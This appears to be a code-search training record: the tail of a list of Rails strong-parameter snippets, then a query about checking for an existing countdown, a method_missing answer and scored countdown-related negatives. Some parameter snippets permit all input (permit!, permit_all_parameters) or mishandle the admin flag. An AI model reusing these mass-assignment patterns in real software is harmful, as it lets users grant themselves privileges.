"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
sanity checkpoint for some methods, checking for existing countdown
|
def method_missing(method, *args)
method = "_#{method}" # super secret shadow method
# first check if method exists
raise NoMethodError unless respond_to?(method)
# check if specified countdown timer exists - reason for this method_missing
insist_countdown_exists(*args)
# finally run method
send(method, *args)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def countdown\n i = view_status\n if i == 1\n return self.start\n elsif i == 2\n return self.end\n end\n nil\n end",
"def timer_checkpoints\n t = self.time_remaining\n if @timer_checkpoint_hash[30] < 3 && t <= 40\n @timer_checkpoint_hash[30] += 1\n tab; \"#{@time_remaining} seconds left.\\n\".typing\n elsif @timer_checkpoint_hash[120] == 0 && t.between?(60, 140)\n @timer_checkpoint_hash[120] += 1\n tab; \"Cutting it close, #{codename}\".typing\n elsif @timer_checkpoint_hash[180] == 0 && t.between?(140, 180)\n @timer_checkpoint_hash[180] += 1\n tab; \"3 minutes. Finish the job.\\n\".typing\n elsif @timer_checkpoint_hash[240] == 0 && t.between?(200, 240)\n @timer_checkpoint_hash[240] += 1\n tab; \"Doing good. 4 minutes left.\\n\".typing\n end\n end",
"def check_deadline\n true\n end",
"def countdown_with_sleep(number)\n # Use the stack overflow post linked in the lesson to figure out how to establish a wait time between print statements\nend",
"def while_time_remaining; end",
"def countdown!\n @mutex.synchronize do\n @count -= 1 if @count > 0\n @conditional.broadcast if @count == 0\n end\n end",
"def countdown(seconds)\nwhile seconds > 0\n puts \"#{seconds} SECOND(S)!\"\n seconds -= 1\n end\n return \"HAPPY NEW YEAR!\"\nend",
"def countdown(start)\n puts start\n if start > 0\n countdown(start - 1)\n end\nend",
"def need_tock?\n if @second == 60\n @second = 0\n tock\n end\n end",
"def get_time_remaining\n\n end",
"def countDown\n # how many seconds left from 3 second countdown\n timeRemaining = 3 - (Time.now - curPauseTime).to_i\n # updates the countdown time string to render\n @countdownTime = timeRemaining.to_s\n @countdownTimeWidth = font.getWidth(countdownTime)\n # countdown is done\n if timeRemaining < 1\n # starting over after a game over\n if (!resuming)\n reset\n @gameOver = false\n else # resuming from a pause\n @resuming = false\n @gameOver = false\n end\n # this tells the program to stop counting\n @countdown = false\n end\n end",
"def countdown(seconds)\n \n while seconds > 0\n puts \"#{seconds} SECOND(S)!\"\n seconds -= 1\nend\n\n return \"HAPPY NEW YEAR!\"\nend",
"def time_remaining\n end",
"def check_duration\n calculate_duration if self.duration != get_duration\n end",
"def worker_check_interval(interval); end",
"def time_remaining\n\n end",
"def countdown num\n if num <= 0\n puts \"Happy New Year!\"\n else\n puts num\n countdown(num - 1)\n end\nend",
"def countdown(x)\n while x > 0 \n puts \"#{x} SECOND(S)!\"\n sleep 1 \n x -= 1 \nend\nreturn \"HAPPY NEW YEAR!\"\nend",
"def countdown(start)\n if start <= 0\n puts start\n else\n puts start\n countdown(start - 1)\n end\nend",
"def implicit_wait=(seconds); end",
"def countdown(number)\n puts number unless number < 0\n if number > 0\n countdown(number - 1)\n end\nend",
"def timer; end",
"def timer; end",
"def timer; end",
"def timer; end",
"def countdown(number)\n while number > 0 \n puts \"#{number} SECOND(S)!\"\n number -=1 \nend \n return \"HAPPY NEW YEAR!\"\nend",
"def current_timer; end",
"def check_dates\r\n self.start_time -= 8.hours\r\n self.end_time -= 8.hours\r\n end",
"def countdown(number)\n puts number\n if number > 0\n countdown(number - 1)\n end\nend",
"def startCountdown\n # get the current time in milliseconds for reference use\n @curPauseTime = Time.now\n # this tells the program to start counting\n @countdown = true\n end",
"def countdown(i)\n i.times do\n puts \"#{i} SECOND(S)!\"\n i -= 1\n countdown_with_sleep(1)\n end\n return \"HAPPY NEW YEAR!\"\nend",
"def countdown(number) \n # number is our parameter - placeholder - it will hold the value of whatever argument is passed in when this method is invoked\n # arguments like vending machines - giving diff input will return diff result\n while number > 0\n puts \"#{number} SECOND(S)!\" # string interpolation-need \" \"\n # number = number - 1\n number -= 1 # decrementing by 1\n end\n # go over return value of puts-nil\n # puts prints out to the console, can't use the data from it\n # return value is data that comes out of the method and can then use data in other methods\n # will use puts to present data to users, but return values to pass data to other methods\n\n # what determines return value? where to place? what if put at top and return keyword?\n\n \"HAPPY NEW YEAR!\" # here we are taking advantage of Ruby's \n # implicit return - the last interpreted line in a method will be the return value of that method\n # using the explicit `return` keyword would be redundant in this situation\nend",
"def _countdown_abort(name = @@default_name)\n self[get_zero_key(name)] = nil\n end",
"def countdown(n)\n\nif n <=0\n\tputs n\nelse puts n\n\tcountdown(n-1)\nend\n\nend",
"def countdown(num)\n puts num\n if num > 0\n countdown(num - 1)\n end\nend",
"def countdown(num)\n puts num\n if num > 0\n countdown(num - 1)\n end\nend",
"def countdown(num)\n puts num\n if num > 0\n countdown(num - 1)\n end\nend",
"def timeout_at; end",
"def remaining; end",
"def cancellable?\n !cancelled? and !missed? and (start_time - Time.now) > CANCELLATION_DEADLINE\n end",
"def countdown(int)\n while int > 0\n puts \"#{int} SECOND(S)!\"\n int -= 1 \n end\n \"HAPPY NEW YEAR!\"\nend",
"def time_ok?\n @time_is_ok ||= check_time\n end",
"def timeout!; end",
"def countdown(num)\r\n if num <= 0\r\n puts num\r\n else\r\n puts num\r\n countdown(num - 1)\r\n end\r\nend",
"def countdown(n)\n puts n\n if n > 0\n countdown( n - 1)\n end\nend",
"def countdown(time, message)\n while time > 0 do\n puts time\n time-=1\n end\n puts message\nend",
"def check_possible_times\n @possible_times = Event::POSSIBLE_TIMES_CONST\n end",
"def check?\n @last_time < @check_time - 100\n end",
"def countdown(seconds)\n seconds.downto(0).each do |remaining|\n if remaining <= 5\n puts \" #{remaining} \" if @verbose\n elsif remaining % 60 == 0\n minutes = remaining / 60\n puts \"Retrying in #{minutes} minutes...\" if @verbose\n end\n sleep 1\n end\n end",
"def countdown(num)\n puts num\n if num > 0\n countdown(num-1)\n end\nend",
"def countdown(number)\n if number <= 0\n puts number\n else\n puts number\n countdown(number -1)\n end\nend",
"def keep_alive_time=(_arg0); end",
"def countdown(num)\n if num <= 1\n puts \"KABOOM!\"\n else \n puts num\n countdown(num - 1)\n end \nend",
"def check_end_time\n return unless self.end_time?\n calculate_total_time unless self.total_time?\n end",
"def countdown_with_sleep(count)\n while count > 0\n count -=1\n sleep(1)\n end\nend",
"def rec_countdown(num)\n if num <= 0\n puts num\n else\n puts num\n rec_countdown(num - 1)\n end \nend",
"def countdown(num)\n puts num\n if num <= 0\n puts num\n else\n countdown(num - 1)\n end\nend",
"def countdown_to_0(number)\n puts number\n if number > 0\n number -= 1\n countdown_to_0(number)\n end\nend",
"def countdown(number)\n if number < 1\n puts number\n else\n puts number\n countdown(number - 1)\n end\nend",
"def check_timeouts\n if self.outdated?\n Match.transaction do\n self.status = :timeouted\n self.set_looser_winner\n self.save!\n self.update_rank\n end\n self.email_notify_outdated\n end\n end",
"def countdown(number)\n if number <= 0\n puts number\n else\n puts number\n countdown(number - 1)\n end\nend",
"def countdown(number)\n if number <= 0\n puts number\n else\n puts number\n countdown(number - 1)\n end\nend",
"def countdown_with_sleep(number)\n while number > 0 \n puts \"#{number} SECOND(S)!\"\n number -=1 \n sleep(1)\nend \n return \"HAPPY NEW YEAR!\"\nend",
"def time_requires_roll?\n !@endTime.nil? && Time.now.to_i >= @endTime\n end",
"def countdown(number)\n if number < 0\n return\n else\n puts \"#{number}\"\n countdown(number-1)\n end\nend",
"def countdown (x)\n while x > 0\n puts \"#{x} SECOND(S)!\"\n x -= 1\n end\n \"HAPPY NEW YEAR!\"\nend",
"def check_for_timer_events\n super\n return if @worker_method_triggers.nil? or @worker_method_triggers.empty?\n @worker_method_triggers.delete_if { |key,value| value[:trigger].respond_to?(:end_time) && value[:trigger].end_time <= Time.now }\n\n @worker_method_triggers.each do |key,value|\n time_now = Time.now.to_i\n if value[:runtime] < time_now\n check_db_connection\n invoke_user_method(key,value[:data])\n t_time = value[:trigger].fire_after_time(Time.now)\n value[:runtime] = t_time.to_i\n end\n end\n end",
"def tired\t\r\n\tif $hours_asleep >= 8 then\r\n\t $hours_asleep = 0\r\n \t\treturn false\r\n \telse\r\n \t\t$hours_asleep += 1\r\n \t\treturn true\r\n \tend \t\t\r\nend",
"def reset_timer; end",
"def reset_timer; end",
"def countdown(number)\n while (number > 0) do\n puts \"#{number} SECOND(S)!\";\n number -= 1;\n end\n \"HAPPY NEW YEAR!\";\nend",
"def nap\n @awake = false\n time_passed\nend",
"def countdown(num)\n if num >= 0\n puts num\n countdown(num-1)\n end\nend",
"def countdown(num)\n if num <=0\n puts num\n else\n puts num\n countdown(num-1)\n end\nend",
"def countdown(num)\n if num <= 0\n puts num\n else\n puts num\n countdown(num-1)\n end\nend",
"def countdown(num)\n if num <= 0\n puts num\n else\n puts num\n countdown(num-1)\n end\nend",
"def countdown(num)\n if num > 0\n puts num\n countdown(num - 1)\n else\n puts num\n end\nend",
"def hasTopStoryDeadlineEnded?\n Time.now.to_s.slice(11..12).to_i > 11 \n end",
"def setup_heartbeat_timer; end",
"def _update_check_needed\n (Time.now - @last_update_check) > UPDATE_VALID_PERIOD\n end",
"def trial_over?\n unless self.trial_started_at.blank?\n return Time.now - APP_CONFIG['trial_length'].days > self.trial_started_at\n else\n return false\n end\n end",
"def verify_expiration; end",
"def verify_expiration; end",
"def countdown_rec( n=10 )\n\n # Define a \"base case\": a condition under which\n # this function STOPS calling itself recursively;\n # otherwise, you will have an infinite loop/regress\n # (actually you won't, you will just exceed the stack)\n if n < 0\n puts \"Blast off!\"\n else\n # Not finished counting, so perform recursive call\n #\n # BUT: we have to do so in a way that brings us\n # a step closer to reaching the base case defined\n # above, which stops the recursion (otherwise, infinite\n # loop)\n puts n\n sleep 0.3\n\n countdown_rec( n - 1 ) # recursive call\n\n puts \"Returned! (n = #{n})\"\n\n\n end # else\n\n\nend",
"def countdown\n time_left = self.time_remaining\n m = (time_left / 60).to_s\n s = (time_left % 60)\n s = s >= 10 ? s.to_s : \"0#{s}\"\n \"0#{m}:#{s}\"\n end",
"def expired?; end",
"def update_timeout_status(timeout, start_time, time_left)\n if timeout\n current_time = Time.new.to_i\n p \"current time = #{current_time}\"\n diff = current_time - start_time\n p \"curr - start = #{diff}\"\n time_out_length = 300\n if diff >= time_out_length\n timeout = false\n return timeout\n else\n time_left = time_out_length - diff\n return time_left\n end\n end\nend",
"def time_out?\n if @tiempo >= 11\n true\n else\n false\n end\n end",
"def countdown (num)\n if num > 0\n puts num\n countdown(num - 1)\n else\n puts num\n num\n end\nend",
"def tired\t\n\tif $hours_asleep >= 8 then\n\t $hours_asleep = 0\n \t\treturn false\n \telse\n \t\t$hours_asleep += 1\n \t\treturn true\n \tend \t\t\nend",
"def run?\n seconds_left == 0\n end",
"def dead? \n if (timer <= 0.0) \n return true\n else \n return false\n end\n end",
"def time_is_up(end_time)\n DateTime.now >= end_time\nend",
"def waits_too_long?(account)\n is?(:asked) and self.asked <= 4.days.ago.to_date\n end",
"def start_timed_out\n end",
"def can_expedite?\n seconds.count >= seconds_for_expedition\n end",
"def countdown(n=10)\n if n == 0 # Base case\n puts \"Blastoff\"\n else\n puts n\n sleep 1\n countdown n - 1 # Recursion, step to move closer to the base case\n end\nend",
"def current_timer=(_arg0); end",
"def ensure_on_time!\n time_diff_sec = timestamp.to_i - Time.now.to_i\n\n unless DEADLINE_RANGE.cover?(time_diff_sec)\n if time_diff_sec < 0\n fail(TransactionTimestampTooOld, REPORT_DEADLINE_PAST)\n else\n fail(TransactionTimestampTooNew, REPORT_DEADLINE_FUTURE)\n end\n end\n end",
"def countdown(num)\nwhile num > 0\n puts num\n num = num -=1\n end\n puts \"Blastoff!\"\nend"
] |
[
"0.6510178",
"0.6322076",
"0.6277634",
"0.62722796",
"0.62595224",
"0.6195557",
"0.6183818",
"0.61551476",
"0.61173564",
"0.60478765",
"0.60458106",
"0.6045587",
"0.6041269",
"0.6006775",
"0.60042506",
"0.5982692",
"0.5971898",
"0.59332144",
"0.59113073",
"0.590749",
"0.5900039",
"0.5898174",
"0.5898174",
"0.5898174",
"0.5898174",
"0.5868459",
"0.5861268",
"0.5816584",
"0.5807336",
"0.5803028",
"0.5790475",
"0.57897",
"0.5778178",
"0.57728046",
"0.57717067",
"0.57717067",
"0.57717067",
"0.57707995",
"0.5762731",
"0.5755625",
"0.5754342",
"0.57533264",
"0.57494867",
"0.5731592",
"0.57295424",
"0.57213235",
"0.5713058",
"0.5710807",
"0.57083654",
"0.57037854",
"0.56944436",
"0.5683689",
"0.5679509",
"0.5668732",
"0.5663063",
"0.5662905",
"0.56621164",
"0.56550145",
"0.564374",
"0.56375414",
"0.56287974",
"0.56287974",
"0.56224954",
"0.5619358",
"0.5618152",
"0.56109995",
"0.5595471",
"0.5590291",
"0.55898297",
"0.55898297",
"0.5588133",
"0.5588065",
"0.55840707",
"0.5581974",
"0.55798745",
"0.55798745",
"0.5578036",
"0.55774826",
"0.55657136",
"0.5562846",
"0.55542547",
"0.5545578",
"0.5545578",
"0.55372345",
"0.5530481",
"0.5524136",
"0.5521457",
"0.552129",
"0.5514815",
"0.5513661",
"0.5485826",
"0.54848564",
"0.5474783",
"0.54712224",
"0.547014",
"0.5462805",
"0.54578996",
"0.54557145",
"0.5438036",
"0.5436657"
] |
0.6280518
|
2
|
these methods all require a sanity check for existing countdown
|
def _countdown_abort(name = @@default_name)
self[get_zero_key(name)] = nil
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def countDown\n # how many seconds left from 3 second countdown\n timeRemaining = 3 - (Time.now - curPauseTime).to_i\n # updates the countdown time string to render\n @countdownTime = timeRemaining.to_s\n @countdownTimeWidth = font.getWidth(countdownTime)\n # countdown is done\n if timeRemaining < 1\n # starting over after a game over\n if (!resuming)\n reset\n @gameOver = false\n else # resuming from a pause\n @resuming = false\n @gameOver = false\n end\n # this tells the program to stop counting\n @countdown = false\n end\n end",
"def countdown(seconds)\nwhile seconds > 0\n puts \"#{seconds} SECOND(S)!\"\n seconds -= 1\n end\n return \"HAPPY NEW YEAR!\"\nend",
"def countdown\n i = view_status\n if i == 1\n return self.start\n elsif i == 2\n return self.end\n end\n nil\n end",
"def countdown(seconds)\n \n while seconds > 0\n puts \"#{seconds} SECOND(S)!\"\n seconds -= 1\nend\n\n return \"HAPPY NEW YEAR!\"\nend",
"def countdown\n time_left = self.time_remaining\n m = (time_left / 60).to_s\n s = (time_left % 60)\n s = s >= 10 ? s.to_s : \"0#{s}\"\n \"0#{m}:#{s}\"\n end",
"def countdown(start)\n puts start\n if start > 0\n countdown(start - 1)\n end\nend",
"def countdown_with_sleep(number)\n # Use the stack overflow post linked in the lesson to figure out how to establish a wait time between print statements\nend",
"def countdown(number)\n while number > 0 \n puts \"#{number} SECOND(S)!\"\n number -=1 \nend \n return \"HAPPY NEW YEAR!\"\nend",
"def countdown(int)\n while int > 0\n puts \"#{int} SECOND(S)!\"\n int -= 1 \n end\n \"HAPPY NEW YEAR!\"\nend",
"def countdown(time, message)\n while time > 0 do\n puts time\n time-=1\n end\n puts message\nend",
"def countdown!\n @mutex.synchronize do\n @count -= 1 if @count > 0\n @conditional.broadcast if @count == 0\n end\n end",
"def countdown num\n if num <= 0\n puts \"Happy New Year!\"\n else\n puts num\n countdown(num - 1)\n end\nend",
"def countdown(seconds)\n seconds.downto(0).each do |remaining|\n if remaining <= 5\n puts \" #{remaining} \" if @verbose\n elsif remaining % 60 == 0\n minutes = remaining / 60\n puts \"Retrying in #{minutes} minutes...\" if @verbose\n end\n sleep 1\n end\n end",
"def countdown(i)\n i.times do\n puts \"#{i} SECOND(S)!\"\n i -= 1\n countdown_with_sleep(1)\n end\n return \"HAPPY NEW YEAR!\"\nend",
"def countdown(x)\n while x > 0 \n puts \"#{x} SECOND(S)!\"\n sleep 1 \n x -= 1 \nend\nreturn \"HAPPY NEW YEAR!\"\nend",
"def countdown(start)\n if start <= 0\n puts start\n else\n puts start\n countdown(start - 1)\n end\nend",
"def countdown(n)\n\nif n <=0\n\tputs n\nelse puts n\n\tcountdown(n-1)\nend\n\nend",
"def countdown (x)\n while x > 0\n puts \"#{x} SECOND(S)!\"\n x -= 1\n end\n \"HAPPY NEW YEAR!\"\nend",
"def countdown(number)\n while (number > 0) do\n puts \"#{number} SECOND(S)!\";\n number -= 1;\n end\n \"HAPPY NEW YEAR!\";\nend",
"def get_time_remaining\n\n end",
"def countdown(number) \n # number is our parameter - placeholder - it will hold the value of whatever argument is passed in when this method is invoked\n # arguments like vending machines - giving diff input will return diff result\n while number > 0\n puts \"#{number} SECOND(S)!\" # string interpolation-need \" \"\n # number = number - 1\n number -= 1 # decrementing by 1\n end\n # go over return value of puts-nil\n # puts prints out to the console, can't use the data from it\n # return value is data that comes out of the method and can then use data in other methods\n # will use puts to present data to users, but return values to pass data to other methods\n\n # what determines return value? where to place? what if put at top and return keyword?\n\n \"HAPPY NEW YEAR!\" # here we are taking advantage of Ruby's \n # implicit return - the last interpreted line in a method will be the return value of that method\n # using the explicit `return` keyword would be redundant in this situation\nend",
"def updateCountdown(timer)\n @countdown -= 1\n @timerField.stringValue = @countdown.to_int.to_s\n if @countdown <= 0\n @timerField.stringValue = ''\n timer.invalidate\n NSApp.abortModal\n end\n end",
"def countdown(number)\n puts number unless number < 0\n if number > 0\n countdown(number - 1)\n end\nend",
"def while_time_remaining; end",
"def countdown(number)\n puts number\n if number > 0\n countdown(number - 1)\n end\nend",
"def time_remaining\n end",
"def startCountdown\n # get the current time in milliseconds for reference use\n @curPauseTime = Time.now\n # this tells the program to start counting\n @countdown = true\n end",
"def time_remaining\n\n end",
"def countdown(num)\n puts num\n if num > 0\n countdown(num - 1)\n end\nend",
"def countdown(num)\n puts num\n if num > 0\n countdown(num - 1)\n end\nend",
"def countdown(num)\n puts num\n if num > 0\n countdown(num - 1)\n end\nend",
"def countdown(n)\n puts n\n if n > 0\n countdown( n - 1)\n end\nend",
"def countdown_with_sleep(number)\n while number > 0 \n puts \"#{number} SECOND(S)!\"\n number -=1 \n sleep(1)\nend \n return \"HAPPY NEW YEAR!\"\nend",
"def countdown(num)\r\n if num <= 0\r\n puts num\r\n else\r\n puts num\r\n countdown(num - 1)\r\n end\r\nend",
"def countdown_with_sleep(count)\n while count > 0\n count -=1\n sleep(1)\n end\nend",
"def countdown(number)\n if number <= 0\n puts number\n else\n puts number\n countdown(number -1)\n end\nend",
"def countdown(num)\n puts num\n if num > 0\n countdown(num-1)\n end\nend",
"def countdown(number)\n if number < 1\n puts number\n else\n puts number\n countdown(number - 1)\n end\nend",
"def countdown(num)\n if num <= 1\n puts \"KABOOM!\"\n else \n puts num\n countdown(num - 1)\n end \nend",
"def countdown_to_0(number)\n puts number\n if number > 0\n number -= 1\n countdown_to_0(number)\n end\nend",
"def countdown(number)\n if number <= 0\n puts number\n else\n puts number\n countdown(number - 1)\n end\nend",
"def countdown(number)\n if number <= 0\n puts number\n else\n puts number\n countdown(number - 1)\n end\nend",
"def countdown(num)\n puts num\n if num <= 0\n puts num\n else\n countdown(num - 1)\n end\nend",
"def method_missing(method, *args)\n\n method = \"_#{method}\" # super secret shadow method\n\n # first check if method exists\n raise NoMethodError unless respond_to?(method)\n\n # check if specified countdown timer exists - reason for this method_missing\n insist_countdown_exists(*args)\n\n # finally run method\n send(method, *args)\n\n end",
"def rec_countdown(num)\n if num <= 0\n puts num\n else\n puts num\n rec_countdown(num - 1)\n end \nend",
"def countdown(num)\n if num >= 0\n puts num\n countdown(num-1)\n end\nend",
"def countdown(num)\n if num > 0\n puts num\n countdown(num - 1)\n else\n puts num\n end\nend",
"def countdown(count)\n # print out numbers from count to 0\n puts count\n puts count -= 1 until count == 0\nend",
"def countdown(num)\n if num <=0\n puts num\n else\n puts num\n countdown(num-1)\n end\nend",
"def timer; end",
"def timer; end",
"def timer; end",
"def timer; end",
"def countdown(number)\n if number < 0\n return\n else\n puts \"#{number}\"\n countdown(number-1)\n end\nend",
"def countdown(num)\n if num <= 0\n puts num\n else\n puts num\n countdown(num-1)\n end\nend",
"def countdown(num)\n if num <= 0\n puts num\n else\n puts num\n countdown(num-1)\n end\nend",
"def countdown (num)\n if num > 0\n puts num\n countdown(num - 1)\n else\n puts num\n num\n end\nend",
"def current_timer; end",
"def countdown_with_sleep(number)\n while (number > 0) do\n puts \"#{number} SECONDS!\";\n sleep(1);\n number -= 1;\n end\n \"HAPPY NEW YEAR!\";\nend",
"def timer_checkpoints\n t = self.time_remaining\n if @timer_checkpoint_hash[30] < 3 && t <= 40\n @timer_checkpoint_hash[30] += 1\n tab; \"#{@time_remaining} seconds left.\\n\".typing\n elsif @timer_checkpoint_hash[120] == 0 && t.between?(60, 140)\n @timer_checkpoint_hash[120] += 1\n tab; \"Cutting it close, #{codename}\".typing\n elsif @timer_checkpoint_hash[180] == 0 && t.between?(140, 180)\n @timer_checkpoint_hash[180] += 1\n tab; \"3 minutes. Finish the job.\\n\".typing\n elsif @timer_checkpoint_hash[240] == 0 && t.between?(200, 240)\n @timer_checkpoint_hash[240] += 1\n tab; \"Doing good. 4 minutes left.\\n\".typing\n end\n end",
"def countdown(num)\nwhile num > 0\n puts num\n num = num -=1\n end\n puts \"Blastoff!\"\nend",
"def display_countdown\n end_time = Time.now + @interval\n until Time.now > end_time\n print \"#{time_remaining(end_time)}\\r\"\n sleep 1\n end\n puts \"#{pomodoro_status} -- POSTED at #{current_time}\"\n end",
"def initialize\n @seconds = 0\n end",
"def countdown(time, b = false)\n ts = Time.now.strftime(\"%H:%M\")\n what = b ? \"break\" : \"pomodoro\"\n puts \"#{time} #{what} started at #{ts}\"\n\n # Parse time into seconds for sleep loop\n x = parse_time time\n\n while x > 0 do\n # Pretty display the time left\n td = pretify_time(x)\n print \"\\rTime left: #{td}\"\n x -= 1\n sleep 1\n end\n notify what\n puts \"\\r#{what.capitalize} over! \"\nend",
"def initialize()\n @seconds = 0 #define fonction seconds\n end",
"def initialize\n @seconds = 0 #Sets starting time at 0\n end",
"def countdown_display_before_restart_in_minutes\n return @countdown_display_before_restart_in_minutes\n end",
"def tick\n\t\tif @sec > 0\n\t\t\t@sec -= 1\n\t\telse\n\t\t\t@sec = 59\n\t\t\tif min > 0\n\t\t\t\t@min -= 1\n\t\t\telse\n\t\t\t\t@min = 59\n\t\t\t\tif @hr > 0\n\t\t\t\t\t@hr -= 1\n\t\t\t\telse\n\t\t\t\t\t@hr = 23\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def countdown(n=10)\n if n == 0 # Base case\n puts \"Blastoff\"\n else\n puts n\n sleep 1\n countdown n - 1 # Recursion, step to move closer to the base case\n end\nend",
"def implicit_wait=(seconds); end",
"def reset_timer; end",
"def reset_timer; end",
"def time_remaining(end_time)\n remaining = (end_time - Time.now).ceil\n format_countdown(remaining)\n end",
"def countdown(i)\n if i <= 0\n puts i\n else\n puts i\n countdown(i - 1)\n end\nend",
"def initialize\n @seconds = 0\n end",
"def initialize\n @seconds = 0\n end",
"def need_tock?\n if @second == 60\n @second = 0\n tock\n end\n end",
"def seconds_in_cycle(now)\n next_due_at(now) - previous_due_at(now)\n end",
"def check_duration\n calculate_duration if self.duration != get_duration\n end",
"def seconds() self end",
"def setTimer\n return NSTimer.timerWithTimeInterval( 1.0,\n target: self,\n selector: 'updateCountdown:',\n userInfo: nil,\n repeats: true )\n .tap do |timer|\n @countdown = @delayTime\n @timerField.stringValue = @countdown.to_int.to_s\n end if @delayTime > 1\n nil\n end",
"def countdown_rec( n=10 )\n\n # Define a \"base case\": a condition under which\n # this function STOPS calling itself recursively;\n # otherwise, you will have an infinite loop/regress\n # (actually you won't, you will just exceed the stack)\n if n < 0\n puts \"Blast off!\"\n else\n # Not finished counting, so perform recursive call\n #\n # BUT: we have to do so in a way that brings us\n # a step closer to reaching the base case defined\n # above, which stops the recursion (otherwise, infinite\n # loop)\n puts n\n sleep 0.3\n\n countdown_rec( n - 1 ) # recursive call\n\n puts \"Returned! (n = #{n})\"\n\n\n end # else\n\n\nend",
"def decrement\n self.count -= 1\n return if delegate.nil?\n if count > 0\n delegate.pomodoro_timer_did_decrement(self)\n else\n delegate.pomodoro_timer_did_finish(self)\n end\n end",
"def countdown_duration(start_time, end_time)\n duration = nil\n if start_time && end_time\n # Calculate the difference between now and then\n difference = end_time - start_time\n\n #calculating the days, hours, minutes and seconds\n #out of the initial large seconds value generated by 'difference',\n #then dropping the values after the decimal\n days = (difference / (60*60*24)).to_i\n days_remainder = (difference % (60*60*24)).to_i\n hours = (days_remainder / (60*60)).to_i\n hours_remainder = (days_remainder % (60 * 60)).to_i\n minutes = (hours_remainder / 60).to_i\n seconds = (hours_remainder % 60).to_i\n\n # apply leading zero if needed\n duration = \"\"\n if days < 10\n duration << \"0\"\n end\n duration << days.to_s\n duration << \":\"\n if hours < 10\n duration << \"0\"\n end\n duration << hours.to_s\n duration << \":\"\n if minutes < 10\n duration << \"0\"\n end\n duration << minutes.to_s\n duration << \":\"\n if seconds < 10\n duration << \"0\"\n end\n duration << seconds.to_s\n\n end\n return duration\n end",
"def current_cycle_day_count\n count = (Time.now.to_date - self.started.to_date).to_i\n if count <= 30\n return 30\n else\n return count\n end\n end",
"def fancy_time_until\n ChronicDuration.output(seconds_until, :format => :long)\n end",
"def fancy_time_until\n ChronicDuration.output(seconds_until, :format => :long)\n end",
